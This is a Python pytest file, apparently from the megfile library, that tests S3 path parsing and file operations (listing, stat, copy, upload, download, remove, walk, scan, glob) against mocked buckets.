assert s3.is_s3('s3:/') == False assert s3.is_s3('s3:/xxx') == False assert s3.is_s3('s3:/foo/bar') == False assert s3.is_s3('s3://') == True assert s3.is_s3('s4://') == False assert s3.is_s3('s3:://') == False assert s3.is_s3('s3:/path/to/file') == False assert s3.is_s3('s3:base') == False assert s3.is_s3('/xxx') == False assert s3.is_s3('/path/to/file') == False # 以非小写字母开头的 bucket assert s3.is_s3('s3://Bucket') == True assert s3.is_s3('s3:// ucket') == True assert s3.is_s3('s3://.ucket') == True assert s3.is_s3('s3://?ucket') == True assert s3.is_s3('s3://\rucket') == True assert s3.is_s3('s3://\ncket') == True assert s3.is_s3('s3://\bcket') == True assert s3.is_s3('s3://\tcket') == True assert s3.is_s3('s3://-bucket') == True # 以非小写字母结尾的 bucket assert s3.is_s3('s3://buckeT') == True assert s3.is_s3('s3://bucke ') == True assert s3.is_s3('s3://bucke.') == True assert s3.is_s3('s3://bucke?') == True assert s3.is_s3('s3://bucke\r') == True assert s3.is_s3('s3://bucke\n') == True assert s3.is_s3('s3://bucke\t') == True assert s3.is_s3('s3://bucke\b') == True assert s3.is_s3('s3://bucket0') == True # 中间含有非字母、数字且非 '-' 字符的 bucket assert s3.is_s3('s3://buc.ket') == True assert s3.is_s3('s3://buc?ket') == True assert s3.is_s3('s3://buc ket') == True assert s3.is_s3('s3://buc\tket') == True assert s3.is_s3('s3://buc\rket') == True assert s3.is_s3('s3://buc\bket') == True assert s3.is_s3('s3://buc\vket') == True assert s3.is_s3('s3://buc\aket') == True assert s3.is_s3('s3://buc\nket') == True # bucket 长度不位于闭区间 [3, 63] assert s3.is_s3('s3://bu') == True assert s3.is_s3('s3://%s' % ('b' * 64)) == True # prefix,可以为 '',或包含连续的 '/' assert s3.is_s3('s3://bucket') == True assert s3.is_s3('s3://bucket/') == True assert s3.is_s3('s3://bucket//') == True assert s3.is_s3('s3://bucket//prefix') == True assert s3.is_s3('s3://bucket/key/') == True assert s3.is_s3('s3://bucket/key//') == True assert s3.is_s3('s3://bucket/prefix/key/') == True assert s3.is_s3('s3://bucket/prefix//key/') == True assert s3.is_s3('s3://bucket//prefix//key/') == True assert s3.is_s3('s3://bucket//prefix//key') == True assert s3.is_s3('s3://bucket//////') == True # path 以不可见字符结尾 assert s3.is_s3('s3://bucket/ ') == True assert s3.is_s3('s3://bucket/\r') == True assert s3.is_s3('s3://bucket/\n') == True assert s3.is_s3('s3://bucket/\a') == True assert s3.is_s3('s3://bucket/\b') == True assert s3.is_s3('s3://bucket/\t') == True assert s3.is_s3('s3://bucket/\v') == True assert s3.is_s3('s3://bucket/key ') == True assert s3.is_s3('s3://bucket/key\n') == True assert s3.is_s3('s3://bucket/key\r') == True assert s3.is_s3('s3://bucket/key\a') == True assert s3.is_s3('s3://bucket/key\b') == True assert s3.is_s3('s3://bucket/key\t') == True assert s3.is_s3('s3://bucket/key\v') == True # PathLike assert s3.is_s3(Path('/bucket/key')) == False def test_parse_s3_url(): assert s3.parse_s3_url('s3://bucket/prefix/key') == ('bucket', 'prefix/key') assert s3.parse_s3_url('s3://bucket') == ('bucket', '') assert s3.parse_s3_url('s3://') == ('', '') assert s3.parse_s3_url('s3:///') == ('', '') assert s3.parse_s3_url('s3:////') == ('', '/') assert s3.parse_s3_url('s3:///prefix/') == ('', 'prefix/') assert s3.parse_s3_url('s3:///prefix/key') == ('', 'prefix/key') assert s3.parse_s3_url('s3://bucket/prefix?') == ('bucket', 'prefix?') assert s3.parse_s3_url('s3://bucket/prefix#') == ('bucket', 'prefix#') assert s3.parse_s3_url('s3://bucket/?#') == ('bucket', '?#') assert s3.parse_s3_url('s3://bucket/prefix/#key') == ( 'bucket', 'prefix/#key') assert s3.parse_s3_url('s3://bucket/prefix/?key') == ( 'bucket', 'prefix/?key') assert s3.parse_s3_url('s3://bucket/prefix/key?key#key') == ( 'bucket', 'prefix/key?key#key') assert s3.parse_s3_url('s3://bucket/prefix/key#key?key') == ( 'bucket', 'prefix/key#key?key') def test_s3_scandir_internal(truncating_client): def dir_entrys_to_tuples(entries: Iterable[FileEntry] ) -> List[Tuple[str, bool]]: return sorted([(entry.name, entry.is_dir()) for entry in entries]) assert dir_entrys_to_tuples(s3.s3_scandir('s3://')) == [ ('bucketA', True), ('bucketB', True), ('bucketC', True), ('bucketForGlobTest', True), ('bucketForGlobTest2', True), ('bucketForGlobTest3', True), ('emptyBucketForGlobTest', True), ] assert dir_entrys_to_tuples(s3.s3_scandir('s3://bucketB')) == [] assert dir_entrys_to_tuples(s3.s3_scandir('s3://bucketA')) == [ ('fileAA', False), ('fileAB', False), ('folderAA', True), ('folderAB', True), ('folderAB-C', True), ] assert dir_entrys_to_tuples(s3.s3_scandir('s3://bucketA/folderAA')) == [ ('folderAAA', True), ] assert dir_entrys_to_tuples(s3.s3_scandir('s3://bucketA/folderAB')) == [ ('fileAB', False), ('fileAC', False), ] assert dir_entrys_to_tuples(s3.s3_scandir('s3://bucketA/folderAB/')) == [ ('fileAB', False), ('fileAC', False), ] with pytest.raises(NotADirectoryError) as error: s3.s3_scandir('s3://bucketA/fileAA') with pytest.raises(FileNotFoundError) as error: s3.s3_scandir('s3://notExistBucket') with pytest.raises(FileNotFoundError) as error: s3.s3_scandir('s3://bucketA/notExistFolder') def test_s3_scandir(truncating_client): assert sorted(list(map(lambda x: x.name, s3.s3_scandir('s3://')))) == [ 'bucketA', 'bucketB', 'bucketC', 'bucketForGlobTest', 'bucketForGlobTest2', 'bucketForGlobTest3', 'emptyBucketForGlobTest', ] assert sorted(list(map(lambda x: x.name, s3.s3_scandir('s3://bucketB')))) == [] assert sorted(list(map(lambda x: x.name, s3.s3_scandir('s3://bucketA')))) == [ 'fileAA', 'fileAB', 'folderAA', 'folderAB', 'folderAB-C', ] assert sorted( list(map(lambda x: x.name, s3.s3_scandir('s3://bucketA/folderAA')))) == ['folderAAA'] assert sorted( list(map(lambda x: x.name, s3.s3_scandir('s3://bucketA/folderAB')))) == [ 'fileAB', 'fileAC' ] assert sorted( list(map(lambda x: x.name, s3.s3_scandir('s3://bucketA/folderAB/')))) == [ 'fileAB', 'fileAC' ] with pytest.raises(NotADirectoryError) as error: s3.s3_scandir('s3://bucketA/fileAA') with pytest.raises(FileNotFoundError) as error: s3.s3_scandir('s3://notExistBucket') with pytest.raises(FileNotFoundError) as error: s3.s3_scandir('s3://bucketA/notExistFolder') def test_s3_listdir(truncating_client): assert s3.s3_listdir('s3://') == [ 'bucketA', 'bucketB', 'bucketC', 'bucketForGlobTest', 'bucketForGlobTest2', 'bucketForGlobTest3', 'emptyBucketForGlobTest' ] assert s3.s3_listdir('s3://bucketB') == [] assert s3.s3_listdir('s3://bucketA') == [ 'fileAA', 'fileAB', 'folderAA', 'folderAB', 'folderAB-C' ] assert s3.s3_listdir('s3://bucketA/folderAA') == ['folderAAA'] assert s3.s3_listdir('s3://bucketA/folderAB') == ['fileAB', 'fileAC'] assert s3.s3_listdir('s3://bucketA/folderAB/') == ['fileAB', 'fileAC'] with pytest.raises(NotADirectoryError) as error: s3.s3_listdir('s3://bucketA/fileAA') with pytest.raises(FileNotFoundError) as error: s3.s3_listdir('s3://notExistBucket') with pytest.raises(FileNotFoundError) as error: s3.s3_listdir('s3://bucketA/notExistFolder') def test_s3_isfile(s3_setup): assert s3.s3_isfile('s3://') is False # root assert s3.s3_isfile('s3://bucketB') is False # empty bucket assert s3.s3_isfile('s3://bucketA/folderAA') is False assert s3.s3_isfile('s3://bucketA/notExistFile') is False assert s3.s3_isfile('s3://notExistBucket/folderAA') is False assert s3.s3_isfile('s3://+InvalidBucketName/folderAA') is False assert s3.s3_isfile('s3://bucketA/fileAA/') is False assert s3.s3_isfile('s3://bucketA/fileAA') is True def test_s3_isdir(s3_setup): assert s3.s3_isdir('s3://') is True # root assert s3.s3_isdir('s3://bucketB') is True # empty bucket assert s3.s3_isdir('s3://bucketA/folderAA') is True # commonperfixes assert s3.s3_isdir('s3://bucketA/folderAA/folderAAA') is True # context assert s3.s3_isdir('s3://bucketA/fileAA') is False # file assert s3.s3_isdir('s3://bucketA/notExistFolder') is False assert s3.s3_isdir('s3://notExistBucket') is False assert s3.s3_isdir('s3://+InvalidBucketName') is False def test_s3_access(s3_setup): assert s3.s3_access('s3://bucketA/fileAA', Access.READ) is True assert s3.s3_access('s3://bucketA/fileAA', Access.WRITE) is True with pytest.raises(TypeError) as error: s3.s3_access('s3://bucketA/fileAA', 'w') assert s3.s3_access('s3://thisdoesnotexists', Access.READ) is False assert s3.s3_access('s3://thisdoesnotexists', Access.WRITE) is False def test_s3_exists(s3_setup): assert s3.s3_exists('s3://') is True assert s3.s3_exists('s3://bucketB') is True assert s3.s3_exists('s3://bucketA/folderAB-C') is True assert s3.s3_exists('s3://bucketA/folderAB') is True assert s3.s3_exists('s3://bucketA/folderAA') is True assert s3.s3_exists('s3://bucketA/folderAA/folderAAA') is True assert s3.s3_exists('s3://bucketA/fileAA') is True assert s3.s3_exists('s3://bucketA/notExistFolder') is False assert s3.s3_exists('s3://notExistBucket') is False assert s3.s3_exists('s3://notExistBucket/notExistFile') is False assert s3.s3_exists('s3://+InvalidBucketName') is False assert s3.s3_exists('s3://bucketA/file') is False # file prefix assert s3.s3_exists('s3://bucketA/folder') is False # folder prefix assert s3.s3_exists('s3://bucketA/fileAA/') is False # filename as dir def test_s3_copy(s3_empty_client): s3_empty_client.create_bucket(Bucket='bucket') s3_empty_client.put_object(Bucket='bucket', Key='key', Body='value') s3.s3_copy('s3://bucket/key', 's3://bucket/result') body = s3_empty_client.get_object( Bucket='bucket', Key='result')['Body'].read().decode("utf-8") assert body == 'value' @pytest.mark.skipif(sys.version_info < (3, 6), reason="Python3.6+") def test_s3_copy_invalid(s3_empty_client): s3_empty_client.create_bucket(Bucket='bucket') s3_empty_client.put_object(Bucket='bucket', Key='key', Body='value') with pytest.raises(IsADirectoryError) as error: s3.s3_copy('s3://bucket/key', 's3://bucket/') assert 's3://bucket/' in str(error.value) with pytest.raises(IsADirectoryError) as error: s3.s3_copy('s3://bucket/key', 's3://bucket/prefix/') assert 's3://bucket/prefix/' in str(error.value) with pytest.raises(PermissionError) as error: s3.s3_copy('s3://bucket/key', 's3:///key') assert 's3:///key' in str(error.value) with pytest.raises(PermissionError) as error: s3.s3_copy('s3://bucket/key', 's3://notExistBucket/key') assert 's3://notExistBucket/key' in str(error.value) with pytest.raises(IsADirectoryError) as error: s3.s3_copy('s3://bucket/prefix/', 's3://bucket/key') assert 's3://bucket/prefix/' in str(error.value) with pytest.raises(PermissionError) as error: s3.s3_copy('s3:///key', 's3://bucket/key') assert 's3:///key' in str(error.value) with pytest.raises(PermissionError) as error: s3.s3_copy('s3://notExistBucket/key', 's3://bucket/key') assert 's3://notExistBucket' in str(error.value) with pytest.raises(FileNotFoundError) as error: s3.s3_copy('s3://bucket/notExistFile', 's3://bucket/key') assert 's3://bucket/notExistFile' in str(error.value) def test_s3_getsize(truncating_client): bucket_A_size = s3.s3_getsize('s3://bucketA') assert bucket_A_size == 8 + 6 + 6 + 6 + 6 + 8 # folderAA/folderAAA/fileAAAA + folderAB/fileAB + folderAB/fileAC + folderAB-C/fileAB-C + fileAA + fileAB assert s3.s3_getsize('s3://bucketA/fileAA') == 6 assert s3.s3_getsize('s3://bucketA/folderAB') == 6 + 6 with pytest.raises(UnsupportedError) as error: assert s3.s3_getsize('s3://') assert 's3://' in str(error.value) with pytest.raises(FileNotFoundError) as error: s3.s3_getsize('s3://notExistBucket') with pytest.raises(FileNotFoundError) as error: s3.s3_getsize('s3://bucketA/notExistFile') with pytest.raises(FileNotFoundError) as error: s3.s3_getsize('s3:///notExistFile') def test_s3_getmtime(truncating_client): bucket_A_mtime = s3.s3_getmtime('s3://bucketA') assert bucket_A_mtime == Now() assert s3.s3_getmtime('s3://bucketA/fileAA') == Now() assert s3.s3_getmtime('s3://bucketA/folderAB') == Now() with pytest.raises(UnsupportedError) as error: assert s3.s3_getmtime('s3://') assert 's3://' in str(error.value) with pytest.raises(FileNotFoundError) as error: s3.s3_getmtime('s3://notExistBucket') with pytest.raises(FileNotFoundError) as error: s3.s3_getmtime('s3://bucketA/notExistFile') with pytest.raises(FileNotFoundError) as error: s3.s3_getmtime('s3:///notExistFile') def test_s3_stat(truncating_client, mocker): mocker.patch('megfile.s3.StatResult', side_effect=FakeStatResult) bucket_A_stat = s3.s3_stat('s3://bucketA') assert bucket_A_stat == make_stat( size=8 + 6 + 6 + 6 + 6 + 8, # folderAA/folderAAA/fileAAAA + folderAB/fileAB + folderAB/fileAC + folderAB-C/fileAB-C + fileAA + fileAB mtime=Now(), isdir=True) assert s3.s3_stat('s3://bucketA/fileAA') == make_stat(size=6) assert s3.s3_stat('s3://bucketA/folderAB') == make_stat( size=6 + 6, mtime=Now(), isdir=True) # 有同名目录时,优先返回文件的状态 assert s3.s3_stat('s3://bucketC/folder') == StatResult(size=4, mtime=Now()) with pytest.raises(UnsupportedError) as error: assert s3.s3_stat('s3://') assert 's3://' in str(error.value) with pytest.raises(FileNotFoundError) as error: s3.s3_stat('s3://notExistBucket') with pytest.raises(FileNotFoundError) as error: s3.s3_stat('s3://bucketA/notExistFile') with pytest.raises(FileNotFoundError) as error: s3.s3_stat('s3:///notExistFile') def test_s3_upload(fs, s3_empty_client): src_url = '/path/to/file' fs.create_file(src_url, contents='value') s3_empty_client.create_bucket(Bucket='bucket') s3.s3_upload(src_url, 's3://bucket/result') body = s3_empty_client.get_object( Bucket='bucket', Key='result')['Body'].read().decode('utf-8') md5 = s3_empty_client.head_object( Bucket='bucket', Key='result')['Metadata'][content_md5_header] assert body == 'value' assert md5 == '2063c1608d6e0baf80249c42e2be5804' # md5('value').hexdigest() def test_s3_upload_invalid(fs, s3_empty_client): s3_empty_client.create_bucket(Bucket='bucket') src_url = '/path/to/file' fs.create_file(src_url, contents='value') with pytest.raises(IsADirectoryError) as error: s3.s3_upload(src_url, 's3://bucket/prefix/') assert 's3://bucket/prefix/' in str(error.value) with pytest.raises(PermissionError) as error: s3.s3_upload(src_url, 's3:///key') assert 's3:///key' in str(error.value) with pytest.raises(FileNotFoundError) as error: s3.s3_upload('/notExistFile', 's3://bucket/key') assert '/notExistFile' in str(error.value) with pytest.raises(PermissionError) as error: s3.s3_upload(src_url, 's3://notExistBucket/key') assert 's3://notExistBucket/key' in str(error.value) def test_s3_upload_is_directory(fs, s3_empty_client): with pytest.raises(IsADirectoryError) as error: s3.s3_upload('/path/to/file', 's3://bucket/prefix/') assert 's3://bucket/prefix/' in str(error.value) with pytest.raises(IsADirectoryError) as error: s3.s3_upload('/path/to/file', 's3://bucket') assert 's3://bucket' in str(error.value) src_url = '/path/to/' fs.create_dir(src_url) with pytest.raises(IsADirectoryError) as error: s3.s3_upload(src_url, 's3://bucket/key') assert src_url in str(error.value) def test_s3_download(fs, s3_setup): dst_url = '/path/to/file' s3.s3_download('s3://bucketA/fileAA', dst_url) with open(dst_url, 'rb') as result: body = result.read().decode("utf-8") assert body == 'fileAA' dst_url = '/path/to/another/file' os.makedirs(os.path.dirname(dst_url)) s3.s3_download('s3://bucketA/fileAA', dst_url) with open(dst_url, 'rb') as result: body = result.read().decode("utf-8") assert body == 'fileAA' dst_url = '/path/to/samename/file' s3.s3_download('s3://bucketC/folder', dst_url) with open(dst_url, 'rb') as result: body = result.read().decode('utf-8') assert body == 'file' def test_s3_download_makedirs(mocker, fs, s3_setup): dst_url = '/path/to/another/file' dst_dir = os.path.dirname(dst_url) os.makedirs(dst_dir) mocker.patch('os.makedirs') s3.s3_download('s3://bucketA/fileAA', dst_url) os.makedirs.assert_called_once_with(dst_dir, exist_ok=True) os.makedirs.reset_mock() s3.s3_download('s3://bucketA/fileAA', 'file') # os.makedirs.assert_not_called() in Python 3.6+ assert os.makedirs.call_count == 0 def test_s3_download_is_directory(fs, s3_setup): with pytest.raises(IsADirectoryError) as error: s3.s3_download('s3://bucketA/fileAA', '') with pytest.raises(IsADirectoryError) as error: s3.s3_download('s3://bucketA/fileAA', '/path/') assert '/path/' in str(error.value) with pytest.raises(IsADirectoryError) as error: s3.s3_download('s3://bucketA', '/path/to/file') assert 's3://bucketA' in str(error.value) def test_s3_download_invalid(fs, s3_setup): dst_url = '/path/to/file' with pytest.raises(IsADirectoryError) as error: s3.s3_download('s3://bucket/prefix/', dst_url) assert 's3://bucket/prefix/' in str(error.value) with pytest.raises(PermissionError) as error: s3.s3_download('s3:///key', dst_url) assert 's3:///key' in str(error.value) with pytest.raises(PermissionError) as error: s3.s3_download('s3://notExistBucket/fileAA', dst_url) assert 's3://notExistBucket' in str(error.value) with pytest.raises(FileNotFoundError) as error: s3.s3_download('s3://bucket/notExistFile', dst_url) assert 's3://bucket/notExistFile' in str(error.value) def test_s3_remove(s3_setup): with pytest.raises(UnsupportedError) as error: s3.s3_remove('s3://') assert 's3://' in str(error.value) with pytest.raises(UnsupportedError) as error: s3.s3_remove('s3://bucketA/') assert 's3://bucketA/' in str(error.value) with pytest.raises(FileNotFoundError) as error: s3.s3_remove('s3://bucketA/notExistFile') assert 's3://bucketA/notExistFile' in str(error.value) s3.s3_remove('s3://bucketA/notExistFile', missing_ok=True) s3.s3_remove('s3://bucketA/folderAA/') assert s3.s3_exists('s3://bucketA/folderAA/') is False s3.s3_remove('s3://bucketA/folderAB') assert s3.s3_exists('s3://bucketA/folderAB/') is False s3.s3_remove('s3://bucketA/fileAA') assert s3.s3_exists('s3://bucketA/fileAA') is False def test_s3_remove_multi_page(truncating_client): s3.s3_remove('s3://bucketA/folderAA/') assert s3.s3_exists('s3://bucketA/folderAA/') is False s3.s3_remove('s3://bucketA/folderAB') assert s3.s3_exists('s3://bucketA/folderAB/') is False s3.s3_remove('s3://bucketA/fileAA') assert s3.s3_exists('s3://bucketA/fileAA') is False @pytest.mark.skip('moto issue https://github.com/spulec/moto/issues/2759') def test_s3_remove_slashes(s3_empty_client): s3_empty_client.create_bucket(Bucket='bucket') s3_empty_client.put_object(Bucket='bucket', Key='///') s3.s3_remove('s3://bucket//') assert s3.s3_exists('s3://bucket////') is False def test_s3_move(truncating_client): smart.smart_touch('s3://bucketA/folderAA/folderAAA/fileAAAA') s3.s3_move( 's3://bucketA/folderAA/folderAAA', 's3://bucketA/folderAA/folderAAA1') assert s3.s3_exists('s3://bucketA/folderAA/folderAAA') is False assert s3.s3_exists('s3://bucketA/folderAA/folderAAA1/fileAAAA') def test_s3_sync(truncating_client): smart.smart_touch('s3://bucketA/folderAA/folderAAA/fileAAAA') s3.s3_sync( 's3://bucketA/folderAA/folderAAA', 's3://bucketA/folderAA/folderAAA1') assert s3.s3_exists('s3://bucketA/folderAA/folderAAA') assert s3.s3_exists('s3://bucketA/folderAA/folderAAA1/fileAAAA') def test_s3_rename(truncating_client): s3.s3_rename( 's3://bucketA/folderAA/folderAAA/fileAAAA', 's3://bucketA/folderAA/folderAAA/fileAAAA1') assert s3.s3_exists('s3://bucketA/folderAA/folderAAA/fileAAAA') is False assert s3.s3_exists('s3://bucketA/folderAA/folderAAA/fileAAAA1') def test_s3_unlink(s3_setup): with pytest.raises(IsADirectoryError) as error: s3.s3_unlink('s3://') assert 's3://' in str(error.value) with pytest.raises(IsADirectoryError) as error: s3.s3_unlink('s3://bucketA/') assert 's3://bucketA/' in str(error.value) with pytest.raises(FileNotFoundError) as error: s3.s3_unlink('s3://bucketA/notExistFile') assert 's3://bucketA/notExistFile' in str(error.value) s3.s3_unlink('s3://bucketA/notExistFile', missing_ok=True) with pytest.raises(IsADirectoryError) as error: s3.s3_unlink('s3://bucketA/folderAA/') assert 's3://bucketA/folderAA/' in str(error.value) with pytest.raises(FileNotFoundError) as error: s3.s3_unlink('s3://bucketA/folderAB') assert 's3://bucketA/folderAB' in str(error.value) s3.s3_unlink('s3://bucketA/fileAA') assert s3.s3_exists('s3://bucketA/fileAA') is False def test_s3_makedirs(mocker, s3_setup): with pytest.raises(FileExistsError) as error: s3.s3_makedirs('s3://bucketA/folderAB') assert 's3://bucketA/folderAB' in str(error.value) s3.s3_makedirs('s3://bucketA/folderAB', exist_ok=True) with pytest.raises(FileExistsError) as error: s3.s3_makedirs('s3://bucketA/fileAA', exist_ok=True) assert 's3://bucketA/fileAA' in str(error.value) def test_s3_makedirs_no_bucket(mocker, s3_empty_client): with pytest.raises(FileNotFoundError) as error: s3.s3_makedirs('s3://bucket/key') assert 's3://bucket' in str(error.value) def test_s3_makedirs_exists_folder(mocker, s3_setup): with pytest.raises(FileExistsError) as error: s3.s3_makedirs('s3://bucketA/folderAB') assert 's3://bucketA/folderAB' in str(error.value) def test_s3_makedirs_root(s3_empty_client): with pytest.raises(PermissionError) as error: s3.s3_makedirs('s3://') assert 's3://' in str(error.value) def test_smart_open_read_s3_file_not_found(mocker, s3_empty_client): mocker.patch('megfile.s3.get_endpoint_url', return_value=None) with pytest.raises(FileNotFoundError) as error: smart.smart_open('s3://non-exist-bucket/key', 'r') assert 's3://non-exist-bucket/key' in str(error.value) with pytest.raises(FileNotFoundError) as error: smart.smart_open('s3://non-exist-bucket/key', 'w') assert 's3://non-exist-bucket/key' in str(error.value) s3_empty_client.create_bucket(Bucket='bucket') with pytest.raises(FileNotFoundError) as error: smart.smart_open('s3://bucket/non-exist-key', 'r') assert 's3://bucket/non-exist-key' in str(error.value) def test_smart_open_url_is_of_credentials_format(mocker, s3_empty_client): ''' 测试 s3_url 中包含 ':' 和 '@' 字符的 url,该 url 将被 smart_open 误认为是包含 credential info 的 url 详情见:https://github.com/RaRe-Technologies/smart_open/issues/378 ''' bucket = 'bucket' key = 'username:password@key_part' s3_empty_client.create_bucket(Bucket=bucket) s3_empty_client.put_object(Bucket=bucket, Key=key) mocker.patch('megfile.s3.get_endpoint_url', return_value=None) # 希望,正常打开,而不是报错 # smart_open 将 '@' 之后的部分认为是 key smart.smart_open('s3://bucket/username:password@key_part') def test_s3_walk(truncating_client): # walk the whole s3 # expect: raise UnsupportedError exception with pytest.raises(UnsupportedError) as error: list(s3.s3_walk('s3://')) assert 's3://' in str(error.value) # walk the dir that is not exist # expect: empty generator assert list(s3.s3_walk('s3://notExistBucket')) == [] assert list(s3.s3_walk('s3://bucketA/notExistFile')) == [] # walk on file # expect: empty generator assert list(s3.s3_walk("s3://bucketA/fileAA")) == [] # walk empty bucket # expect: 1 tuple only contains the folder(bucket) path result = list(s3.s3_walk('s3://bucketB')) assert len(result) == 1 assert result[0] == ('s3://bucketB', [], []) result = list(s3.s3_walk('s3://bucketA')) assert len(result) == 5 assert result[0] == ( 's3://bucketA', ['folderAA', 'folderAB', 'folderAB-C'], ['fileAA', 'fileAB']) assert result[1] == ('s3://bucketA/folderAA', ['folderAAA'], []) assert result[2] == ('s3://bucketA/folderAA/folderAAA', [], ['fileAAAA']) assert result[3] == ('s3://bucketA/folderAB', [], ['fileAB', 'fileAC']) assert result[4] == ('s3://bucketA/folderAB-C', [], ['fileAB-C']) result = list(s3.s3_walk('s3://bucketA/')) assert len(result) == 5 assert result[0] == ( 's3://bucketA', ['folderAA', 'folderAB', 'folderAB-C'], ['fileAA', 'fileAB']) assert result[1] == ('s3://bucketA/folderAA', ['folderAAA'], []) assert result[2] == ('s3://bucketA/folderAA/folderAAA', [], ['fileAAAA']) assert result[3] == ('s3://bucketA/folderAB', [], ['fileAB', 'fileAC']) assert result[4] == ('s3://bucketA/folderAB-C', [], ['fileAB-C']) # same name of file and folder in the same folder result = list(s3.s3_walk('s3://bucketC/folder')) assert len(result) == 1 assert result[0] == ('s3://bucketC/folder', [], ['file']) result = list(s3.s3_walk('s3://bucketC/folder/')) assert len(result) == 1 assert result[0] == ('s3://bucketC/folder', [], ['file']) def test_s3_scan(truncating_client): # walk the whole s3 # expect: raise UnsupportedError exception with pytest.raises(UnsupportedError) as error: list(s3.s3_scan('s3://')) assert 's3://' in str(error.value) # walk the dir that is not exist # expect: empty generator assert list(s3.s3_scan('s3://notExistBucket')) == [] assert list(s3.s3_scan('s3://bucketA/notExistFile')) == [] # walk on file # expect: empty generator assert list(s3.s3_scan('s3://bucketA/fileAA')) == ['s3://bucketA/fileAA'] # walk empty bucket # expect: 1 tuple only contains the folder(bucket) path result = list(s3.s3_scan('s3://bucketB')) assert len(result) == 0 result = list(s3.s3_scan('s3://bucketA')) assert len(result) == 6 assert result == [ 's3://bucketA/fileAA', 's3://bucketA/fileAB', 's3://bucketA/folderAA/folderAAA/fileAAAA', 's3://bucketA/folderAB-C/fileAB-C', 's3://bucketA/folderAB/fileAB', 's3://bucketA/folderAB/fileAC', ] result = list(s3.s3_scan('s3://bucketA/')) assert len(result) == 6 assert result == [ 's3://bucketA/fileAA', 's3://bucketA/fileAB', 's3://bucketA/folderAA/folderAAA/fileAAAA', 's3://bucketA/folderAB-C/fileAB-C', 's3://bucketA/folderAB/fileAB', 's3://bucketA/folderAB/fileAC', ] # same name of file and folder in the same folder result = list(s3.s3_scan('s3://bucketC/folder')) assert len(result) == 2 assert result == [ 's3://bucketC/folder', 's3://bucketC/folder/file', ] result = list(s3.s3_scan('s3://bucketC/folder/')) assert len(result) == 1 assert result == ['s3://bucketC/folder/file'] with pytest.raises(UnsupportedError) as error: s3.s3_scan('s3://') def test_s3_scan_stat(truncating_client, mocker): mocker.patch('megfile.s3.StatResult', side_effect=FakeStatResult) # walk the whole s3 # expect: raise UnsupportedError exception with pytest.raises(UnsupportedError) as error: list(s3.s3_scan_stat('s3://')) assert 's3://' in str(error.value) # walk the dir that is not exist # expect: empty generator assert list(s3.s3_scan_stat('s3://notExistBucket')) == [] assert list(s3.s3_scan_stat('s3://bucketA/notExistFile')) == [] # walk on file # expect: empty generator assert list(s3.s3_scan_stat('s3://bucketA/fileAA')) == [ ('s3://bucketA/fileAA', make_stat(size=6)) ] # walk empty bucket # expect: 1 tuple only contains the folder(bucket) path result = list(s3.s3_scan_stat('s3://bucketB')) assert len(result) == 0 result = list(s3.s3_scan_stat('s3://bucketA')) assert len(result) == 6 assert result == [ ('s3://bucketA/fileAA', make_stat(size=6)), ('s3://bucketA/fileAB', make_stat(size=6)), ('s3://bucketA/folderAA/folderAAA/fileAAAA', make_stat(size=8)), ('s3://bucketA/folderAB-C/fileAB-C', make_stat(size=8)), ('s3://bucketA/folderAB/fileAB', make_stat(size=6)), ('s3://bucketA/folderAB/fileAC', make_stat(size=6)), ] result = list(s3.s3_scan_stat('s3://bucketA/')) assert len(result) == 6 assert result == [ ('s3://bucketA/fileAA', make_stat(size=6)), ('s3://bucketA/fileAB', make_stat(size=6)), ('s3://bucketA/folderAA/folderAAA/fileAAAA', make_stat(size=8)), ('s3://bucketA/folderAB-C/fileAB-C', make_stat(size=8)), ('s3://bucketA/folderAB/fileAB', make_stat(size=6)), ('s3://bucketA/folderAB/fileAC', make_stat(size=6)), ] # same name of file and folder in the same folder result = list(s3.s3_scan_stat('s3://bucketC/folder')) assert len(result) == 2 assert result == [ ('s3://bucketC/folder', make_stat(size=4)), ('s3://bucketC/folder/file', make_stat(size=4)), ] result = list(s3.s3_scan_stat('s3://bucketC/folder/')) assert len(result) == 1 assert result == [('s3://bucketC/folder/file', make_stat(size=4))] with pytest.raises(UnsupportedError) as error: s3.s3_scan_stat('s3://') def test_s3_path_join(): assert s3.s3_path_join('s3://') == 's3://' assert s3.s3_path_join('s3://', 'bucket/key') == 's3://bucket/key' assert s3.s3_path_join('s3://', 'bucket//key') == 's3://bucket//key' assert s3.s3_path_join('s3://', 'bucket', 'key') == 's3://bucket/key' assert s3.s3_path_join('s3://', 'bucket/', 'key') == 's3://bucket/key' assert s3.s3_path_join('s3://', 'bucket', '/key') == 's3://bucket/key' assert s3.s3_path_join('s3://', 'bucket', 'key/') == 's3://bucket/key/' def _s3_glob_with_bucket_match(): ''' scenario: match s3 bucket by including wildcard in 'bucket' part. return: all dirs, files and buckets fully matched the pattern ''' assert_glob( r's3://*', [ 's3://bucketA', 's3://bucketB', 's3://bucketC', 's3://bucketForGlobTest', 's3://bucketForGlobTest2', 's3://bucketForGlobTest3', 's3://emptyBucketForGlobTest', ]) # without any wildcards assert_glob( r's3://{bucketForGlobTest}[12]/1', ['s3://bucketForGlobTest2/1']) assert_glob( r's3://bucketForGlobTest*/1', [ 's3://bucketForGlobTest/1', 's3://bucketForGlobTest2/1', 's3://bucketForGlobTest3/1' ]) assert_glob( r's3://*GlobTest*/1/a', [ 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest2/1/a', 's3://bucketForGlobTest2/1/a', 's3://bucketForGlobTest3/1/a', 's3://bucketForGlobTest3/1/a', ]) assert_glob( r's3://**GlobTest***/1/a', [ 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest2/1/a', 's3://bucketForGlobTest2/1/a', 's3://bucketForGlobTest3/1/a', 's3://bucketForGlobTest3/1/a', ]) assert_glob( r's3://bucketForGlobTest?/1/a/b/1.json', [ 's3://bucketForGlobTest2/1/a/b/1.json', 's3://bucketForGlobTest3/1/a/b/1.json' ]) assert_glob( r's3://bucketForGlobTest*/1/a{/b/c,/b}/1.json', [ 's3://bucketForGlobTest/1/a/b/c/1.json', 's3://bucketForGlobTest/1/a/b/1.json', 's3://bucketForGlobTest2/1/a/b/c/1.json', 's3://bucketForGlobTest2/1/a/b/1.json', 's3://bucketForGlobTest3/1/a/b/c/1.json', 's3://bucketForGlobTest3/1/a/b/1.json' ]) # all files under all direct subfolders assert_glob( r's3://bucketForGlobTest[23]/*/*', [ 's3://bucketForGlobTest2/1/a', 's3://bucketForGlobTest2/1/a', 's3://bucketForGlobTest3/1/a', 's3://bucketForGlobTest3/1/a', ]) # combination of '?' and [] assert_glob(r's3://*BucketForGlobTest/[2-3]/**/*?msg', []) 